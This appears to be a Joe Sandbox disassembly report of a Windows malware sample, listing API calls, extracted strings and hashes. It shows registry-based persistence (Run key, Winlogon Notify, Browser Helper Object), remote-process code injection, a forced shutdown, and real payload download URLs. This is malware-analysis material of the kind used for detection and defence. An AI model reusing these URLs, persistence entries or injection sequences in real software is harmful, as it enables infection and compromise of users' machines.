GetTempFileNameA.KERNEL32(?,tmp,00000000,?,%AppData%\,?,00000104,?,?,?,rmass.exe,80000001,?,?,?,40000000), ref: 00404E6C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,%AppData%\,?,00000104,?,?), ref: 00404E88
GetTempPathA.KERNEL32(00000104,?,%AppData%\,?,00000104,?,?,?,rmass.exe,80000001,?,?,?,40000000,00000000,00000000), ref: 00404EA8
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,%AppData%\,?,00000104,?,?,?,rmass.exe,80000001,?,?), ref: 00404EC5
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000104,?,%AppData%\,?,00000104), ref: 00404EE5
WriteFile.KERNEL32(?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00404F0E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00404F1A
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,?,?,00000000,?,40000000,00000000), ref: 00404F36
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404F7A
lstrcat.KERNEL32(?,0040B041), ref: 00404F8F
lstrcat.KERNEL32(00000000,?), ref: 00404F95
SetFileAttributesA.KERNEL32(00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104,?,%AppData%\,?,00000104,?,?,?), ref: 00404F9B
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104), ref: 00404FB3
WriteFile.KERNEL32(?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080), ref: 00404FE9
SetFileTime.KERNEL32(?,?,?,?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405014
CloseHandle.KERNEL32(?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL), ref: 00405020
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104), ref: 00405058
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080), ref: 00405089
lstrcat.KERNEL32(?,RECOVER32.DLL), ref: 00405099
SetFileAttributesA.KERNEL32(00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000), ref: 0040509F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000), ref: 004050B7
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000), ref: 004050CE
GetTempPathA.KERNEL32(00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104), ref: 004050DE
lstrcat.KERNEL32(?,RECOVER32.DLL), ref: 004050EE
SetFileAttributesA.KERNEL32(00000000,?,RECOVER32.DLL,00000080,00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL), ref: 004050F4
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,00000104,?,?,40000000,00000000), ref: 0040510C
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,00000104,?,?,40000000,00000000), ref: 00405123
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?), ref: 00405156
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405168
lstrcat.KERNEL32(?,0040B041), ref: 00405173
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000), ref: 0040518A
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000), ref: 004051A1
RegOpenKeyExA.ADVAPI32(80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?), ref: 004051D8
RegOpenKeyExA.ADVAPI32(80000001,00407220,00000000,00020006,?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104), ref: 004051FA
lstrlen.KERNEL32(?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104), ref: 0040521E
RegSetValueExA.ADVAPI32(?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\), ref: 00405236
RegDeleteValueA.ADVAPI32(?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?), ref: 00405247
RegCloseKey.ADVAPI32(?,?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041), ref: 00405253
RegCreateKeyA.ADVAPI32(80000002,004071E0,?), ref: 0040529B
RegSetValueExA.ADVAPI32(?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006), ref: 004052BE
RegCloseKey.ADVAPI32(?,?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000), ref: 004052CA
RegOpenKeyExA.ADVAPI32(80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006,?), ref: 0040533B
RegSetValueExA.ADVAPI32(?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?), ref: 0040535E
RegSetValueExA.ADVAPI32(?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006), ref: 00405376
RegSetValueExA.ADVAPI32(?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004), ref: 0040538E
RegSetValueExA.ADVAPI32(?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004), ref: 004053A6
RegCloseKey.ADVAPI32(?,?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000), ref: 004053B2
RegOpenKeyExA.ADVAPI32(80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,winrnt.exe), ref: 004053DB
RegDeleteValueA.ADVAPI32(00004000,00000000,?,?,00000000,?,00000000,?,00004000,00004000,80000002,004070C0,00000000,0002001F,?,80000002), ref: 00405441
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000,80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000), ref: 00405484
wsprintfA.USER32 ref: 0040549B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001), ref: 004054B2
RegCloseKey.ADVAPI32(?,?,?,00000000,00000001,00000000,00000001), ref: 004054C5
CreateThread.KERNEL32(00000000,00010000,Function_00002886,00000002,00000000,?), ref: 004054E2
CloseHandle.KERNEL32(00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\), ref: 004054E8
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,?,00000000,?,?,g00d d0gg,00000000,00000000,00000004,00000004), ref: 00405568
GetSystemTimeAsFileTime.KERNEL32(?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,?,00000000,?,?,g00d d0gg,00000000,00000000,00000004), ref: 0040557A
RegQueryValueExA.ADVAPI32(?,ConnPred,00000000,00000000,00000000,00000008,?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 004055A1
RegQueryValueExA.ADVAPI32(?,UseExtProfile,00000000,00000000,00000000,00000008,?,ConnPred,00000000,00000000,00000000,00000008,?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000), ref: 004056A9
RegQueryValueExA.ADVAPI32(?,UseDflProfile,00000000,00000000,?,00000008,?,UseExtProfile,00000000,00000000,00000000,00000008,?,ConnPred,00000000,00000000), ref: 0040572C
RegSetValueExA.ADVAPI32(?,UseDflProfile,00000000,0000000B,?,00000008,?,UseDflProfile,00000000,00000000,?,00000008,?,UseExtProfile,00000000,00000000), ref: 0040578E
RegCloseKey.ADVAPI32(?,?,UseDflProfile,00000000,0000000B,?,00000008,?,UseDflProfile,00000000,00000000,?,00000008,?,UseExtProfile,00000000), ref: 00405797
RegCloseKey.ADVAPI32(?,?,UseExtProfile,00000000,00000000,00000000,00000008,?,ConnPred,00000000,00000000,00000000,00000008,?,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced), ref: 004057A9
SetFileAttributesA.KERNEL32(?,00000021,?,?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000), ref: 004057E8
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405802
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 00404BFE

Part of subcall function 00401251: RegSetValueExW.ADVAPI32(?,?,00000000,00000001,0040B038,00000004), ref: 004012B2

RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,?,00000004,80000002,?,?,?,00000021,?,?,g00d d0gg,00000000,00000000), ref: 0040583C
lstrlen.KERNEL32(?,?,IsInstalled,00000000,00000004,?,00000004,80000002,?,?,?,00000021,?,?,g00d d0gg,00000000), ref: 00405842
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004,80000002,?,?), ref: 0040585A
RegCloseKey.ADVAPI32(?,?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004,80000002,?), ref: 00405866
SetFileAttributesA.KERNEL32(?,00000021,?,?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004), ref: 00405883
RegCreateKeyA.ADVAPI32(80000002,00408760,?), ref: 00405893
lstrlen.KERNEL32(?,80000002,00408760,?,?,00000021,?,?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled), ref: 004058AD
RegOpenKeyExA.ADVAPI32(80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe,80000002), ref: 004058D2
RegOpenKeyExA.ADVAPI32(80000001,00407220,00000000,00020006,?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886,00000002,00000000), ref: 004058ED
lstrlen.KERNEL32(?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886,00000002,00000000,?,?,?,winrnt.exe), ref: 004058FE
RegSetValueExA.ADVAPI32(?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000,Function_00002886), ref: 00405916
RegCloseKey.ADVAPI32(?,?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,00000000,00000000,00010000), ref: 00405922
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,00000001,00000000,?,?,Debugger,00000000,00000001,?,00000001), ref: 00405956
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,00000001,00000000,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8), ref: 0040597C
RegSetValueExA.ADVAPI32(?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,00000001,00000000,?), ref: 004059A2
RegCloseKey.ADVAPI32(?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8,00000001,00000000), ref: 004059AE
SetFileAttributesA.KERNEL32(?,00000021,?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,004087B8), ref: 004059BD
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 004059DD
lstrlen.KERNEL32(?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?,?,00000021,?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000), ref: 004059F7
RegSetValueExA.ADVAPI32(?,DLLName,00000000,00000001,?,00000001,?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?,?,00000021,?,?,SubshellState,00000000), ref: 00405A0F
RegSetValueExA.ADVAPI32(?,Startup,00000000,00000001,Startup,00000008,?,DLLName,00000000,00000001,?,00000001,?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 00405A2B
RegCreateKeyA.ADVAPI32(80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?), ref: 00405A3D
lstrlen.KERNEL32(?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?,?,00000021,?,?,SubshellState,00000000,00000003,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000), ref: 00405A47
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001,?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?,?,00000021,?,?,SubshellState,00000000), ref: 00405A5C
RegSetValueExA.ADVAPI32(?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001,?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32,?), ref: 00405A78
RegCloseKey.ADVAPI32(?,?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001,?,80000000,CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32), ref: 00405A84
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC},?), ref: 00405A94
RegCloseKey.ADVAPI32(?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC},?,?,?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?), ref: 00405AA4
SetFileAttributesA.KERNEL32(?,00000021,?,?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,00000000), ref: 00405AB3
Sleep.KERNEL32(000003E8,?,00000021,?,?,rmass.exe,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?), ref: 00405ABD
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,000003E8,?,00000021,?,?,rmass.exe,00000000), ref: 00405AEA
RegQueryValueExA.ADVAPI32(?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,000003E8), ref: 00405B16
RegSetValueExA.ADVAPI32(00000000,g00d d0gg,00000000,00000004,00000004,00000004,00000000,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000), ref: 00405B3C
RegDeleteValueA.ADVAPI32(?,g00d d0gg,00000000,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?), ref: 00405B4C
Sleep.KERNEL32(00001388,?,g00d d0gg,00000000,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000), ref: 00405B56
RtlAdjustPrivilege.NTDLL(00000013,00000001,00000000,00000080), ref: 00405B6F
NtShutdownSystem.NTDLL(00000001), ref: 00405B77
ExitWindowsEx.USER32(00000006,00000000), ref: 00405B83
RegCloseKey.ADVAPI32(?,?,g00d d0gg,00000000,00000000,00000004,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00405B8C

Strings

kernel32.dll, xrefs: 00405133
;, xrefs: 004057CB
Mr@, xrefs: 004051B2
UseExtProfile, xrefs: 004056A0, 00405700
http://69.50.173.166/gdnOT2424.exe, xrefs: 004056D7
winrnt.exe, xrefs: 0040523B
q@, xrefs: 00405265
vq@, xrefs: 004052F8
`r@, xrefs: 00404B80, 00404B24
grazie.gif, xrefs: 00405658
RECOVER32.DLL, xrefs: 00404F84, 00405093, 004050E8
ThreadingModel, xrefs: 00405A6C
Startup, xrefs: 00405A16, 00405A1F
r@, xrefs: 004051AD
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}, xrefs: 00405A8A
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 004059D3
Both, xrefs: 00405A63
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 0040555E, 0040594C, 00405972, 00405AE0
g00d d0gg, xrefs: 00405B0D, 00405B33, 00405B43
UseDflProfile, xrefs: 00405723, 00405785
IsInstalled, xrefs: 00404C28, 00405830
http://utbidet-ugeas.biz/d/cc, xrefs: 004055E2
`q@, xrefs: 004052F3
tombul.gif, xrefs: 0040576C
Debugger, xrefs: 004058B9
wq@, xrefs: 004052E1
`r@, xrefs: 00404A4C
SubshellState, xrefs: 00404C98, 00405996
5q@, xrefs: 00405317
%AppData%\, xrefs: 00404E4E, 00405084, 0040519C
4q@, xrefs: 004053BC
DLLName, xrefs: 00405A03
rmass.exe, xrefs: 00404CD8, 00404DFC, 0040522A, 0040590A
%CommonProgramFiles%\System\, xrefs: 00405185
ConnPred, xrefs: 00405598, 00405681
_q@, xrefs: 0040530A
StubPath, xrefs: 00404C46, 0040584E
T, xrefs: 00405631
explorer.exe, xrefs: 00405046
Iq@, xrefs: 0040531C
Jq@, xrefs: 00405305
CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32, xrefs: 00405A33
`p@, xrefs: 004054F2
tmp, xrefs: 00404E66, 00404EBF
I, xrefs: 00405624
winlogon.exe, xrefs: 00405035

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$Value$Create$Close$Attributes$lstrlen$lstrcat$DeleteHandleOpen$System$EnvironmentExpandQueryStringsTempTimeWrite$DirectoryErrorLastSleeplstrcpy$NamePathlstrcmpi$AdjustEnumExitMutexObjectPrivilegeReadShutdownSingleSizeThreadWaitWindowswsprintf
String ID: r@$%AppData%\$%CommonProgramFiles%\System\$4q@$5q@$;$Both$CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32$ConnPred$DLLName$Debugger$I$Iq@$IsInstalled$Jq@$Mr@$RECOVER32.DLL$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}$Startup$StubPath$SubshellState$T$ThreadingModel$UseDflProfile$UseExtProfile$_q@$`p@$`q@$`r@$`r@$explorer.exe$g00d d0gg$grazie.gif$http://69.50.173.166/gdnOT2424.exe$http://utbidet-ugeas.biz/d/cc$kernel32.dll$rmass.exe$tmp$tombul.gif$vq@$winlogon.exe$winrnt.exe$wq@$q@
API String ID: 1724534124-3224609453
Opcode ID: 1cfbdf860e58b2ce7048d713f6f1977a501a96f564ffdde386660a52cc567676
Instruction ID: 5858210acfc238b52361fc0b512d0ff4a7e130a29aa652ca93898fef335510f9
Opcode Fuzzy Hash: 1cfbdf860e58b2ce7048d713f6f1977a501a96f564ffdde386660a52cc567676
Instruction Fuzzy Hash: 7992F770288740B9E630A7618C46F9B7698EF80748F10483FF6C9B91D2D6BCA8458F5F

Function 004033B4 Relevance: 12.1, APIs: 8, Instructions: 95
stringmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 004033C2
OpenProcess.KERNEL32(0000002A,00000000,?,?), ref: 004033DC
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000001,?), ref: 00403439
CreateRemoteThread.KERNEL32(00000000,00000000,00001000,0040D264,?,00000000,00000000), ref: 0040345A
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?), ref: 00403463
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?), ref: 0040346D
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?), ref: 00403487
lstrcpy.KERNEL32(00000000,00000000), ref: 00403491

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: CloseHandleVirtual$AllocCreateMemoryOpenProcessRemoteThreadWritelstrcpylstrlen
String ID:
API String ID: 3056278807-0
Opcode ID: bf554029d3a59321d0b257d5bd308523470b6dff66540f0f977a14c089221267
Instruction ID: 286f24523f87d21ee6fdf0659b15e3162c9be1f6ec2acb51ddafdd64c094c1a7
Opcode Fuzzy Hash: bf554029d3a59321d0b257d5bd308523470b6dff66540f0f977a14c089221267
Instruction Fuzzy Hash: D031B131204300BFE3119FA5DD49F577BADEB88745F00853AF644BA1E1D7B9D9008BA9

Function 00402056 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123networkfileCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,?,?), ref: 0040207A
select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 004020BD
recv.WS2_32(?,?,?,00000000), ref: 004020CD

Strings

(, xrefs: 00402091

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: FileInternetReadrecvselect
String ID: (
API String ID: 1361185869-3887548279
Opcode ID: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction ID: 1fcd0d6409183d73132ea75ca463baecc2b767e2b6e15ce2ca548764a2397c31
Opcode Fuzzy Hash: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction Fuzzy Hash: BA41D5701087519BD3258F25C94872BBBE4EF85320F14C62FF699AA2C1C3B99D45CB56

Function 0040233A Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243
filestringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 00402377
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004023FF
lstrcpy.KERNEL32(?,?), ref: 00402423
lstrcat.KERNEL32(00000000,?), ref: 00402429
lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 0040243F
WriteFile.KERNEL32(00000000,?,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040248E

Part of subcall function 00402056: InternetReadFile.WININET(?,?,?,?), ref: 0040207A

CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024B8
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024CB
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 00402511
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 00402529
WriteFile.KERNEL32(00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040254A
CloseHandle.KERNEL32(00000000,00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402550
